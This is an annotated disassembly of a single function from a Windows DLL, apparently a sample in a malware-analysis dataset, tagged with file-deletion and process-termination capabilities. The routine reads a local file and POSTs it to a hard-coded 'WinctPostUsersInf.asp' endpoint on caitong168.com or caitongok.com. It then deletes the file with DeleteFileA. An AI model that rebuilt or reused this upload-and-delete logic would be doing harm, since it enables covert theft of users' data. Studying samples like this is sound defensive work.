Function at 0x100073b0
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001bbf3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5e0
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x10], esp
mov esi, str.ok668ok_E11E4F4B38DACC9566C010F0192779DAD5C926FFE24A0BAA2DE61E9E3C382E52E6FE7D6D17940668
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x10007406
test cl, cl
je 0x10007402
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x10007406
add eax, 2
add esi, 2
test cl, cl
jne 0x100073de
xor eax, eax
jmp 0x1000740b
sbb eax, eax
sbb eax, 0xffffffff
xor ebx, ebx
cmp eax, ebx
je 0x10007417
push ebx
call fcn.1000a70c
mov eax, dword [ebp + 8]
lea ecx, [ebp + 0x14]
push eax
call fcn.10012996
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ecx
lea ecx, [ebp - 0x14]
call fcn.10012996
mov edx, dword [ebp + 0x10]
lea ecx, [ebp + 8]
push edx
mov byte [ebp - 4], 1
call fcn.10012996
mov eax, dword [ebp + 0x14]
mov byte [ebp - 4], 2
cmp dword [eax - 8], ebx
jne 0x100074a7
lea ecx, [ebp - 0x5ec]
call fcn.10003b30
push edi
push ecx
lea edx, [ebp - 0x494]
mov ecx, esp
mov dword [ebp + 0xc], esp
push edx
mov byte [ebp - 4], 3
call fcn.10012996
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x5ec]
push eax
call fcn.10004ec0
push eax
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 4
call fcn.10012a61
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 3
call fcn.10012928
lea ecx, [ebp - 0x5ec]
mov byte [ebp - 4], 2
call fcn.10003dc0
mov ecx, dword [ebp + 8]
cmp dword [ecx - 8], ebx
jne 0x100074e8
mov edx, dword [ebp + 0x14]
push 0x5c
lea ecx, [ebp + 0x14]
mov esi, dword [edx - 8]
call fcn.10011d92
sub esi, eax
lea eax, [ebp + 0xc]
dec esi
lea ecx, [ebp + 0x14]
push esi
push eax
call fcn.10011c9e
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 5
call fcn.10012a61
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 2
call fcn.10012928
mov ecx, dword [ebp - 0x14]
push str.caitong168
push ecx
call fcn.1000a630
add esp, 8
test eax, eax
jne 0x10007504
push str.http:__www.caitong168.com_WinctPostUsersInf.asp
jmp 0x10007526
mov edx, dword [ebp - 0x14]
push str.caitongok
push edx
call fcn.1000a630
add esp, 8
test eax, eax
je 0x10007521
mov eax, dword [ebp - 0x14]
cmp dword [eax - 8], ebx
jne 0x1000752e
push str.http:__www.caitongok.com_WinctPostUsersInf.asp
lea ecx, [ebp - 0x14]
call fcn.10012ab1
push 0x10024d40
lea ecx, [ebp - 0x18]
call fcn.10012996
mov eax, dword [0x1002512c]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea ecx, [ebp + 8]
push str.YCPYCB
lea edx, [ebp - 0x24]
xor edi, edi
xor esi, esi
push ecx
push edx
mov byte [ebp - 4], 8
mov dword [ebp - 0x28], 0x50
mov dword [ebp + 0x10], edi
mov dword [ebp - 0x2c], esi
call fcn.10012b7c
mov eax, dword [ebp - 0x24]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.100187bc
push ebx
lea ecx, [ebp + 0xc]
push 4
push ecx
push 2
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xa
mov dword [ebp + 0xc], 0x7d0
call fcn.100188ff
push ebx
lea edx, [ebp + 0xc]
push 4
push edx
push 3
lea ecx, [ebp - 0x58]
mov dword [ebp + 0xc], 1
call fcn.100188ff
lea ecx, [ebp - 0x44]
call fcn.10015a41
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x20]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x34]
push edx
push eax
push ecx
mov dword [ebp - 0x30], ebx
mov byte [ebp - 4], 0xc
call fcn.1001868b
test eax, eax
je 0x10007778
mov edx, dword [ebp + 0x14]
push esi
push 0x40
push edx
lea ecx, [ebp - 0x44]
call fcn.10015bf3
test eax, eax
je 0x10007778
lea ecx, [ebp - 0x44]
call fcn.10015eed
cmp eax, 0x3c
mov dword [ebp + 0xc], eax
jbe 0x10007778
cmp eax, 0x200000
jae 0x10007778
push eax
call fcn.10012669
mov ecx, dword [ebp + 0xc]
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dword [ebp - 0x30], ebx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
lea ecx, [ebp - 0x44]
push eax
push ebx
call fcn.10015d10
lea ecx, [ebp - 0x44]
call fcn.10015e0e
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
push esi
push esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.100188b7
mov edi, eax
test edi, edi
mov dword [ebp + 0x10], edi
je 0x10007778
mov eax, dword [ebp - 0x1c]
push 0x20000000
push esi
push esi
push 1
push esi
push eax
push esi
mov ecx, edi
call fcn.10019286
mov esi, eax
test esi, esi
mov dword [ebp - 0x2c], esi
je 0x10007778
mov ecx, dword [ebp + 0xc]
push ecx
push ebx
push 0
push 0
mov ecx, esi
call fcn.10019410
test eax, eax
je 0x10007778
lea edx, [ebp + 0xc]
mov ecx, esi
push edx
mov dword [ebp + 0xc], 0
call fcn.1001945f
cmp dword [ebp + 0xc], 0xc8
jne 0x10007778
mov eax, dword [esi]
lea ecx, [ebp - 0x164]
push 0x104
push ecx
mov ecx, esi
call dword [eax + 0x5c]
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x18]
push edx
call fcn.10012ab1
jmp 0x10007778
push ebx
mov dword [ebp - 4], 0xb
call fcn.10012692
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.10015e0e
test esi, esi
je 0x100077a4
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x4c]
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
test edi, edi
je 0x100077b8
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0xc]
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x58]
call fcn.10018861
mov ecx, dword [ebp + 0x14]
push 0x2e
mov esi, dword [ecx - 8]
lea ecx, [ebp + 0x14]
call fcn.10011d92
sub esi, eax
lea edx, [ebp + 0xc]
push esi
push edx
lea ecx, [ebp + 0x14]
call fcn.10011c9e
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 0xf
call fcn.10012a61
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0xb
call fcn.10012928
lea ecx, [ebp + 8]
call fcn.10012dc0
mov eax, dword [ebp - 0x18]
push 0x10024e9c
push eax
call fcn.1000a630
add esp, 8
test eax, eax
jne 0x10007834
mov ecx, dword [ebp + 8]
push 0x100245a0
push ecx
call fcn.1000a630
add esp, 8
test eax, eax
jne 0x10007834
mov edx, dword [ebp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x18]
mov eax, dword [eax - 8]
push eax
call fcn.10012d17
lea ecx, [ebp - 0x44]
mov esi, eax
mov byte [ebp - 4], 0xa
call fcn.10015b36
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 9
call fcn.10018777
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 8
call fcn.10012928
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.10012928
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call fcn.10012928
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.10012928
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.10012928
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0
call fcn.10012928
lea ecx, [ebp + 0x14]
mov dword [ebp - 4], 0xffffffff
call fcn.10012928
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10